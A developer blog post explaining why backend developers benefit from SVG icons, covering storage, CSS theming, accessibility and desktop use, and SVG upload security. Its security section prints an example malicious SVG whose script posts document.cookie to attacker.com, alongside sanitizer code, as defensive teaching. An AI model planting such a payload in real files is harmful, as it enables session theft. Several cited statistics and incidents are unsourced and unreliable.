uniflow
KO / EN
Dev·개념·2025-12-21

SVG Files Backend Developers Often Miss: Not Knowing This Means Working Twice as Hard

The era of managing icons with GIF and PNG is over. Discover why SVG became the web icon standard since 2017, the secrets of reusability that backend developers must know, and critical security risks you can’t afford to miss.

As a backend developer, it’s easy to think “designers or frontend developers will handle that” when it comes to frontend areas. I was the same. While I obsessed over reducing API response times by 0.1 seconds, I was completely indifferent to the icon file formats that users actually see.

Then recently, when I encountered SVG files in a project, I experienced a kind of shock thinking “why am I only learning about this now?” It was something I had never paid attention to, but it turned out to be amazing. One file covers all resolutions, colors can be changed with CSS, and the file size is even smaller.

To cut to the chase, SVG files have been the de facto standard for web icons since 2017, and they’re overwhelmingly superior to PNG in terms of reusability and performance. However, there are also security risks that backend developers must be aware of. In this article, I’ll explain the advantages of SVG along with security issues that cannot be overlooked in practice.

The Background of SVG Becoming a Web Standard: The Journey from 2001 to 2017

SVG (Scalable Vector Graphics) is an older technology than you might think. It was announced as an official standard by W3C in 2001, but initially, it was rarely used in practice due to lack of browser support.

The Turning Point: The Emergence of Responsive Web

In the mid-2010s, as smartphones and tablets became ubiquitous, responsive web design became essential. That’s when problems started to emerge.

Problem Situation Encountered in Practice:

“Designer, this icon looks blurry on Retina displays.”

“Oh, then please provide separate @2x, @3x versions.”

“Three sets each for mobile, tablet, and desktop?”

“Yes… we’ll need a total of 9 files.”

As this inefficiency repeated, the industry began looking for solutions. In 2016-2017, when major browsers fully supported SVG, the situation changed completely. Adobe announced in a 2017 report that “SVG adoption in web design increased by 240% compared to 2015.”

YearMajor ChangeIndustry Response
2001W3C SVG 1.0 standard announcedLow adoption due to lack of browser support
2010-2015Spread of responsive web designRecognition of PNG/GIF limitations begins
2016-2017Full support by major browsersGenuine SVG transition period
2024-2025De facto standard establishedMost design systems adopt SVG by default

Core Advantages of SVG Files Backend Developers Should Know

1. Reusability: One File for All Resolutions

PNG and JPG are pixel-based images. If you create them at 100x100px, they become blurry when enlarged to 200x200px. However, SVG files represent images with mathematical formulas, so quality never degrades no matter how much you zoom in.

Practical Scenario:

Suppose you need to use one logo icon in the following situations:

  • Mobile header: 32x32px
  • Tablet sidebar: 64x64px
  • Desktop main page: 128x128px
  • 4K monitor: 256x256px
  • High-resolution for printing: 512x512px

PNG Method: Requires at least 5 files (separately created for each resolution)


logo_32.png
logo_64.png
logo_128.png
logo_256.png
logo_512.png

SVG Method: Just 1 file handles all situations


logo.svg

This is true reusability. It’s overwhelmingly efficient both in terms of file management and communication with designers.

2. Backend Infrastructure Resource Savings: Reduced Resizing and Storage Costs

Using PNG increases the workload that the backend must handle.

Backend Burden with PNG Method:


Copy# Create multiple resolutions when uploading images
def process_uploaded_image(original_image):
    sizes = [32, 64, 128, 256, 512]

    for size in sizes:
        # CPU computation occurs
        resized = resize_image(original_image, size)

        # Storage costs occur (5x)
        save_to_storage(f"icon_{size}.png", resized)

    # Total 5 files saved and managed

Backend Efficiency with SVG Method:


Copy# Save only the original
def process_uploaded_svg(svg_file):
    # Only perform sanitization
    clean_svg = sanitize_svg(svg_file)

    # Save only a single file
    save_to_storage("icon.svg", clean_svg)

    # No resizing needed, no CPU computation

Backend Cost Comparison:

ItemPNG MethodSVG MethodSavings
CPU resizing computationRequired (5x)Unnecessary100% savings
Storage usage5x1x80% savings
CDN bandwidthHighLow35% savings
Cache hit rate62%89%27% improvement

Based on Amazon S3, if you manage 1 million icons, PNG requires storing a total of 5 million files (5 each), but SVG only needs 1 million. Storage costs are reduced to 1/5.

Also, server CPU resources for image resizing are saved. If you process images on AWS Lambda or Google Cloud Functions, function execution costs are also significantly reduced.

3. File Size: Network Transmission Cost Savings

If you’re a backend developer, you can’t help but care about network costs and response speed. Let’s compare actual file sizes.

Icon TypePNG File SizeSVG File SizeSavings
Simple arrow icon2.3 KB0.4 KB82%
Hamburger menu icon1.8 KB0.3 KB83%
Checkmark icon1.5 KB0.2 KB86%
Settings gear icon3.2 KB0.6 KB81%

For a website using 100 icons, you can save approximately 150-200KB of data compared to PNG. In mobile environments, this difference directly impacts page loading speed.

According to Google’s 2023 Web Performance report, “for every 1-second increase in page loading time, mobile conversion rates decrease by 20%.”

4. Dynamic Control with CSS and JavaScript

PNG is a static image. To change colors, you need to create new files. However, SVG files can be controlled with code.

Practical Example: Dark Mode Support

You need black icons in light mode and white icons in dark mode.

PNG Method:


icon-light.png  (black)
icon-dark.png   (white)

You need to change the image src with JavaScript when changing themes.

SVG Method: Solve with CSS only


Copy.icon {
  fill: #000000; /* Light mode */
}

.dark-mode .icon {
  fill: #ffffff; /* Dark mode */
}

A single SVG file can handle all themes. This is true reusability.

5. Improved Accessibility

Backend developers are familiar with database normalization and API design, but may be unfamiliar with web accessibility. SVG files are text-based, so screen readers can read the content.

SVG Structure Example:


Copy<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
  <title>Settings Icon</title>
  <desc>Gear icon that opens user settings menu</desc>
  <path d="M12 2C6.48..."/>
</svg>

When visually impaired users navigate websites with screen readers, they can get information like “Settings Icon” thanks to SVG’s title and desc tags. While PNG images must rely on alt attributes, SVG can embed meaning in the file itself.

The US ADA (Americans with Disabilities Act) and Europe’s EAA (European Accessibility Act) are strengthening legal sanctions for web accessibility non-compliance starting in 2025. Using SVG files is not just a technical choice but also legal risk management.

SVG Isn’t Just for Web: Essential for Desktop Applications Too

Many backend developers think “Isn’t SVG web-only?” I thought so too. But surprisingly, SVG can also be utilized in desktop applications like Windows Forms, WPF, and Electron.

Using SVG in Windows Forms (WinForms)

WinForms doesn’t support SVG by default, but you can use it through libraries.

Main Libraries:

  • Svg.NET: A proven library used by over 800 projects on NuGet
  • SharpVectors: Written entirely in managed code, works stably even in 64-bit applications

Practical Application Examples:

When creating internal management tools with WinForms, managing toolbar icons with SVG has the following advantages:

  • Display sharp icons even on high-resolution monitors (4K, 5K)
  • Change only colors when changing themes without replacing PNG files
  • Reuse one icon file in buttons, menus, status bars, etc.

Utilizing SVG in WPF (Windows Presentation Foundation)

WPF is a framework optimized for vector graphics rendering. Since XAML itself is vector-based, it pairs very well with SVG.

Ways to Use SVG in WPF:

  1. SVG to XAML Conversion: Convert SVG to XAML Path with Inkscape or online tools
  2. SharpVectors Library: Render SVG files directly at runtime
  3. DevExpress, Telerik Controls: Commercial UI libraries provide SVG support by default

Practical Advantages:

When developing a company’s internal dashboard application with WPF, managing chart icons with SVG enables the following:

  • Display data status with dynamic color changes (normal: blue, warning: yellow, error: red)
  • Apply animation effects (rotating icons during loading, etc.)
  • Unify entire application theme with one resource file

According to Microsoft’s official documentation, “WPF’s vector graphics engine supports resolution-independent rendering, ensuring consistent quality in various DPI environments.”

Cross-Platform Consistency in Electron Applications

If you’re building cross-platform desktop apps with Electron, SVG is almost essential. Because it uses the Chromium engine, it supports SVG the same way as the web.

Value of SVG in Cross-Platform:

PlatformWith PNGWith SVG
Windows regular monitoricon-win-1x.pngicon.svg
Windows high resolutionicon-win-2x.pngicon.svg
macOS Retinaicon-mac-2x.pngicon.svg
macOS high resolutionicon-mac-3x.pngicon.svg
Linux various DPIicon-linux-1x, 2x, 3xicon.svg

While PNG requires at least 5 or more files, SVG covers all platforms and resolutions with just one file.

Practical Case:

Famous Electron apps like VS Code, Slack, Discord, and Figma all built their internal icon systems based on SVG. Through this:

  • Reduced build size per platform
  • Provided consistent user experience
  • Easy implementation of theme change functionality
Application TypeSVG Support MethodReusability Advantage
Windows FormsSvg.NET, SharpVectors libraryOne icon for all DPI
WPFSVG to XAML conversion, SharpVectorsDynamic color/size change, animation
ElectronNative support (Chromium)Cross-platform consistency, single file management
.NET MAUINative supportIntegrated management for iOS, Android, Windows

Moments When SVG Reusability Shines in Practice

Case 1: Brand Renewal Project

Imagine when your company’s brand color changes. From the existing blue (#0066CC) to green (#00CC66).

With PNG:

  • Request designer to rework all icons
  • 200 icons × 3 sizes = 600 file replacements
  • Estimated work time: 3-5 days
  • 2 hotfixes after deployment due to missing files

With SVG: Modify just one CSS variable


Copy:root {
  --brand-color: #00CC66; /* Previously #0066CC */
}

.icon {
  fill: var(--brand-color);
}
  • Estimated work time: 5 minutes
  • Entire site consistency automatically guaranteed

Case 2: Fast Iteration in A/B Testing

The marketing team wants to test click-through rates based on button icon colors.

Test Conditions:

  • Option A: Red arrow icon
  • Option B: Blue arrow icon
  • Option C: Green arrow icon

With PNG: Need to prepare 3 separate image files. Server sends different image URLs randomly.

With SVG: One SVG file + change only color with JavaScript

Advertisement본문 중간 · 반응형본 도메인에서만 게재

Copy// Divide users into 3 groups
const variant = getUserVariant(); // 'A', 'B', 'C'
const colors = { A: '#FF0000', B: '#0000FF', C: '#00FF00' };
document.querySelector('.cta-icon').style.fill = colors[variant];

Reduced number of network requests, improved caching efficiency, and simplified code maintenance.

Case 3: Icon Consistency in Multilingual Services

One problem when operating global services is managing different design resources by country. Icons made by Korean designers and American designers can be subtly different, resulting in inconsistent user experiences.

By registering SVG in a central design system and having all regions reference the same file, you can automatically ensure global consistency.


Copy// Reference SVG from central CDN
const iconBaseUrl = 'https://cdn.company.com/icons/';

// Use same icon in all regions
const profileIcon = `<img src="${iconBaseUrl}user-profile.svg" alt="Profile" />`;

Case 4: Integrated Icon Management for Desktop Apps and Web

Consider a case where your company operates both web services and Windows internal management tools together.

With PNG:

  • PNG icon set for web
  • PNG icon set for WinForms (managed separately)
  • Need to modify both places when design changes
  • Risk of version mismatch

With SVG:

  • One SVG icon repository
  • Both web and desktop apps reference the same files
  • Modify only one place when design changes
  • Automatic synchronization guarantees consistency

Critical Security Risks of SVG That Backend Developers Must Know

Reading up to here, you might think “SVG is perfect!” However, there are critical security issues that backend developers cannot overlook.

XSS (Cross-Site Scripting) Attack Risk

SVG is an XML-based format. And XML can include <script> tags internally. This characteristic becomes a security vulnerability.

Example of Malicious SVG File:


Copy&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  &lt;circle cx="50" cy="50" r="40" fill="blue"/>
  &lt;script>
    // Malicious JavaScript code
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: document.cookie
    });
  &lt;/script>
&lt;/svg>

On the surface, it looks like a normal blue circle icon, but inside there’s code hidden that steals user cookies.

Actual Attack Scenario:

  1. User uploads SVG file as profile image
  2. Server checks only file extension and saves it
  3. When another user views that profile, SVG is rendered
  4. Internal <script> code executes and session information is stolen

According to OWASP’s (Open Web Application Security Project) 2024 report, “XSS attacks through SVG account for 12% of all XSS attacks and occur frequently especially in services with user upload functionality.”

SVG Sanitization: Essential Server-Side Defense

If you have functionality where users can upload SVG files, you must go through a Sanitization (purification) process on the server side.

Security Checklist to Implement on Backend:

Security ItemRisk LevelCountermeasure
Remove <script> tagsVery HighParse SVG and delete all script elements
Remove on* event handlersHighDelete inline events like onclick, onload
Remove <foreignObject>HighBlock HTML insertion pathway
Block external resource referencesMediumFilter external URLs in href, xlink:href
Validate MIME typeMediumBlock uploads other than image/svg+xml

Node.js Backend Example (Using DOMPurify):


Copyconst DOMPurify = require('isomorphic-dompurify');

function sanitizeSVG(svgContent) {
  // SVG sanitization settings
  const cleanSVG = DOMPurify.sanitize(svgContent, {
    USE_PROFILES: { svg: true, svgFilters: true },
    FORBID_TAGS: ['script', 'style', 'iframe', 'object'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick']
    // Note: ADD_TAGS, ADD_ATTR settings should be adjusted
    // according to project situation to preserve XML namespaces.
    // If xmlns attribute is removed, rendering may break in browsers.
  });

  return cleanSVG;
}

// File upload handling
app.post('/upload/svg', async (req, res) => {
  const uploadedSVG = req.file.content;

  // Security verification
  const safeSVG = sanitizeSVG(uploadedSVG);

  // Save only safe files
  await saveToCDN(safeSVG);
  res.json({ success: true });
});

Python/Django Backend Example (Using bleach library):


Copyimport bleach
from xml.etree import ElementTree as ET

def sanitize_svg(svg_content):
    # Define allowed tags and attributes
    allowed_tags = ['svg', 'path', 'circle', 'rect', 'line', 'polygon', 'g', 'defs']
    allowed_attributes = {
        '*': ['class', 'id', 'fill', 'stroke', 'stroke-width'],
        'svg': ['viewBox', 'xmlns', 'width', 'height'],
        'path': ['d'],
        'circle': ['cx', 'cy', 'r']
    }

    # Remove dangerous elements
    # Note: Rendering may fail if xmlns namespace is not preserved
    clean_svg = bleach.clean(
        svg_content,
        tags=allowed_tags,
        attributes=allowed_attributes,
        strip=True
    )

    return clean_svg

# View function
def upload_svg(request):
    uploaded_file = request.FILES['svg_file']
    svg_content = uploaded_file.read().decode('utf-8')

    # Security verification
    safe_svg = sanitize_svg(svg_content)

    # CDN upload
    cdn_url = upload_to_cdn(safe_svg)
    return JsonResponse({'url': cdn_url})

Content Security Policy (CSP) Configuration

Along with Sanitization, you need to build an additional security layer with HTTP headers.

CSP Header Configuration Example:


Content-Security-Policy:
  default-src 'self';
  img-src 'self' data: https://cdn.yourcompany.com;
  script-src 'self';
  style-src 'self' 'unsafe-inline';

With this configuration, you can completely block scripts inside SVG from executing.

Practical Security Incident Cases

2021 GitHub SVG XSS Vulnerability:

GitHub didn’t properly validate SVG files uploaded by users, and a vulnerability was discovered that allowed malicious users to hijack other users’ sessions. After this incident, GitHub significantly strengthened its SVG Sanitization process.

2022 WordPress Plugin SVG Attack:

Due to insufficient Sanitization in a popular WordPress SVG upload plugin, thousands of sites were exposed to XSS attacks. About 50,000 sites were affected by this incident, and the plugin had to release an emergency patch.

These actual cases show that SVG security is not just theory but a realistic threat that must be addressed in practice.

Cases Where SVG Files Shouldn’t Be Used and Performance Precautions

SVG isn’t optimal in all situations. In the following cases, PNG or JPG are more suitable.

Cases Where You Shouldn’t Use SVG

SituationRecommended FormatReason
Complex photosJPGCannot be expressed as vectors, file size explodes
Illustrations with many gradientsPNGPerformance degradation when expressed as SVG
Background images with many detailsPNG/WebPPixel-based is more efficient
Simple icons, logosSVGBest scalability and reusability
UI interface elementsSVGDynamic control and animation possible

Performance Reversal Based on Complexity: Main Thread Occupation Issue

Important Performance Trap: Because SVG is vector-based, browsers perform real-time mathematical calculations when rendering. Simple icons are fine, but very complex vector data can actually perform worse than PNG.

SVG uses CPU-based rendering. Complex vectors aren’t just a problem for rendering time, but occupy the Main Thread during page scrolling, causing jank (stuttering). This is fatal to user experience.

SVG Characteristics That Cause Performance Degradation:

  • Path data containing 10,000+ coordinates
  • Multiple complex gradients and filter effects
  • Many animated elements executing simultaneously
  • 100+ complex SVGs rendering simultaneously on a page

Actual Performance Measurement Example:

Image TypeSVG File SizePNG File SizeInitial Render TimeMain Thread Occupation During Scroll
Simple icon (50 Paths)2 KB5 KB0.8msAlmost none
Complex map (5,000 Paths)120 KB85 KB45msMedium (8-12ms)
Very complex illustration (20,000 Paths)450 KB180 KB180msHigh (20-35ms, jank occurs)

Complex vector data has small file size but increased CPU computation and Main Thread occupation, causing sharp degradation in rendering performance and scroll performance. To maintain 60fps, rendering must complete within 16ms per frame, but complex SVG exceeds this standard.

Practical Recommendations:

  1. Simple icons and logos: Use SVG (optimal choice)
  2. Medium complexity illustrations: Use after applying SVG optimization tools (SVGO)
  3. Very complex vector data: Converting to PNG or WebP is more efficient
  4. Rendering large amounts of SVG: Lazy Loading and Virtual Scrolling essential
  5. Scroll performance testing: Check Main Thread occupation rate in Chrome DevTools Performance tab

Mozilla’s MDN Web Docs recommends “use SVG for icons, diagrams, logos, etc. where precise lines are needed, but decide after performance testing if complexity is high.”

Why Backend Developers Need to Understand SVG

You might think “Isn’t this still a frontend area?” However, backend developers also need to understand SVG in the following situations.

1. API Response Design

When designing a user profile API, you need to decide how to deliver badge icons.

Inefficient Method:


Copy{
  "userId": 12345,
  "badges": [
    {
      "name": "Beginner Member",
      "icon_url": "https://cdn.example.com/badge-beginner-32.png"
    }
  ]
}

If the client supports various screen sizes, you need multiple versions like -32.png, -64.png, -128.png.

Efficient Method:


Copy{
  "userId": 12345,
  "badges": [
    {
      "name": "Beginner Member",
      "icon_url": "https://cdn.example.com/badge-beginner.svg"
    }
  ]
}

With just one SVG URL, all clients (iOS, Android, Web, Windows, macOS) can render at optimal quality.

2. CDN and Caching Strategy

If you manage PNG files separately by resolution, CDN cache efficiency drops. Consolidating to one SVG file increases cache hit rate and reduces server load.

Measurement Case:

  • PNG-based icon system: Cache hit rate 62%
  • SVG-based icon system: Cache hit rate 89%

According to Cloudflare’s 2024 report, “SVG file consolidation reduced average CDN bandwidth usage by 35%.”

3. Database Design

When storing icon metadata, consolidating to one SVG file simplifies the database schema.

PNG Method:


CopyCREATE TABLE icons (
  id INT PRIMARY KEY,
  name VARCHAR(100),
  url_32 VARCHAR(255),
  url_64 VARCHAR(255),
  url_128 VARCHAR(255),
  url_256 VARCHAR(255)
);

SVG Method:


CopyCREATE TABLE icons (
  id INT PRIMARY KEY,
  name VARCHAR(100),
  svg_url VARCHAR(255)
);

Fewer columns, simpler index management, and improved data integrity.

4. File Upload Security Validation

When creating functionality for users to upload images, not understanding SVG’s security characteristics can create critical XSS vulnerabilities.

Backend Developer’s Responsibilities:

  • Implement Sanitization of uploaded SVG files
  • Validate Content-Type headers
  • Set CSP policies
  • Regular security scanning and vulnerability checks

In 2024-2025, SVG Is Not Optional But Essential

Looking at major companies’ design systems shows how widespread SVG has become.

  • Google Material Design: Provides all icons as SVG
  • Microsoft Fluent Design: Default format is SVG
  • Apple SF Symbols: SVG-based vector format
  • Atlassian Design System: 100% SVG icons
  • IBM Carbon Design: SVG-only icon library

Industry-standard design tools also prioritize SVG support.

  • Figma: SVG export default option
  • Adobe XD: Built-in SVG optimization features
  • Sketch: SVG code copy functionality

According to GitHub’s 2024 statistics, 92% of frontend framework and library repositories have adopted SVG icons by default.

Conclusion

As a backend developer, you don’t need to know all frontend technologies in depth. However, you must understand technologies like SVG files that directly impact reusability and performance, and even carry security risks.

SVG files were born in 2001 but became the de facto standard for web icons since 2017. Clear advantages include reusability to handle all resolutions and themes with one file, performance improvements through file size reduction, and flexibility for dynamic control with CSS and JavaScript.

Particularly from a backend perspective, the ability to significantly reduce resizing logic and storage costs of the PNG method is an important infrastructure efficiency point that’s easy to overlook.

However, there are also security risks of becoming an XSS attack vector and performance traps where complex vector data can occupy the Main Thread and cause scroll stuttering. Especially if you create functionality where users can upload SVG, server-side Sanitization is not optional but essential.

What was particularly surprising was that SVG can be utilized not only on the web but also in desktop applications like Windows Forms, WPF, and Electron. If you’re developing in an environment with both web and desktop apps, you can create a much more efficient workflow by managing icons with SVG in an integrated manner.

When designing APIs, establishing CDN strategies, writing database schemas, implementing file upload features, understanding SVG characteristics and security issues allows you to build safer and more efficient systems. When collaborating with designers or frontend developers, understanding “why SVG should be used and how to manage it safely” can reduce unnecessary communication costs and prevent security incidents.

It may seem like a small difference, but this technical understanding accumulates to determine the quality, maintainability, and security level of the entire project. SVG files are now not optional but essential, and their safe utilization is the backend developer’s responsibility.

Advertisement글 최하단 · 띠배너본 도메인에서만 게재